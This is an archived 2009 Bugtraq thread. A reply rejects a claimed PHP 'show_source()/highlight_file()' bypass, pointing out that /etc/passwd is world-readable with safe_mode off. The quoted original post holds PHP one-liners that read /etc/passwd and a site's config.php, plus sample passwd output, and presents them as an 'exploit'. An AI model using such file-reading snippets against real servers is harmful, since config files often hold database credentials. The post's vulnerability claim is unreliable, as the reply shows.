bugtraq - Re: php 4.x php5.2.x all "show_source()" ,"highlight

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [day] [month] [year] [list]

Message-ID: <499231.84297.qm@web52602.mail.re2.yahoo.com>
Date: Tue, 6 Jan 2009 04:36:13 -0800 (PST)
From: Slack Traq <slacktraq@...oo.com>
To: bugtraq@...urityfocus.com
Subject: Re: php 4.x php5.2.x all "show_source()" ,"highlight_file()" bypass&#8207;


There is no bug so no exploit can exist. File /etc/passwd is readable by any user (inside PHP with safe_mode disabled also) as it doesn't contain very sensitive information such as user passwords.

Double check what are you posting before actually doing it please.

Regards

--- On Sun, 1/4/09, l1un@...mail.com <l1un@...mail.com> wrote:

> From: l1un@...mail.com <l1un@...mail.com>
> Subject: php 4.x php5.2.x all "show_source()" ,"highlight_file()" bypass&#8207;
> To: bugtraq@...urityfocus.com
> Date: Sunday, January 4, 2009, 11:39 AM
> Ahthoer:Super-Crystal
> www.arab4services.net
> safe_mode off (tested)
> <?
> show_source ('/etc/passwd');
> ?>
> Example exploit:
> <?
> show_source ('/home/user/public_html/config.php');
> ?>
> -----------------------------
> highlight_file()
> 
>    <? 
> highlight_file ("/etc/passwd"); 
> ?> 
> exploit !!!  
> <code><span style="color: #000000">
> root:x:0:0:root:/root:/bin/bash<br
> />bin:x:1:1:bin:/bin:/sbin/nologin<br
> />daemon:x:2:2:daemon:/sbin:/sbin/nologin<br
> />adm:x:3:4:adm:/var/adm:/sbin/nologin<br
> />lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin<br
> />sync:x:5:0:sync:/sbin:/bin/sync<br
> />shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown<br
> />halt:x:7:0:halt:/sbin:/sbin/halt<br
> />mail:x:8:12:mail:/var/spool/mail:/sbin/nologin<br
> />news:x:9:13:news:/etc/news:<br
> />uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin<br
> />operator:x:11:0:operator:/root:/sbin/nologin<br
> />games:x:12:100:games:/usr/games:/sbin/nologin<br
> />gopher:x:13:30:gopher:/var/gopher:/sbin/nologin<br
> />ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin<br
> />nobody:x:99:99:Nobody:/:/sbin/nologin<br
> />dbus:x:81:81:System message bus:/:/sbin/nologin<br 
>  
> :)
>  
> greetz:php.net!
> 
> th4nx securityfocus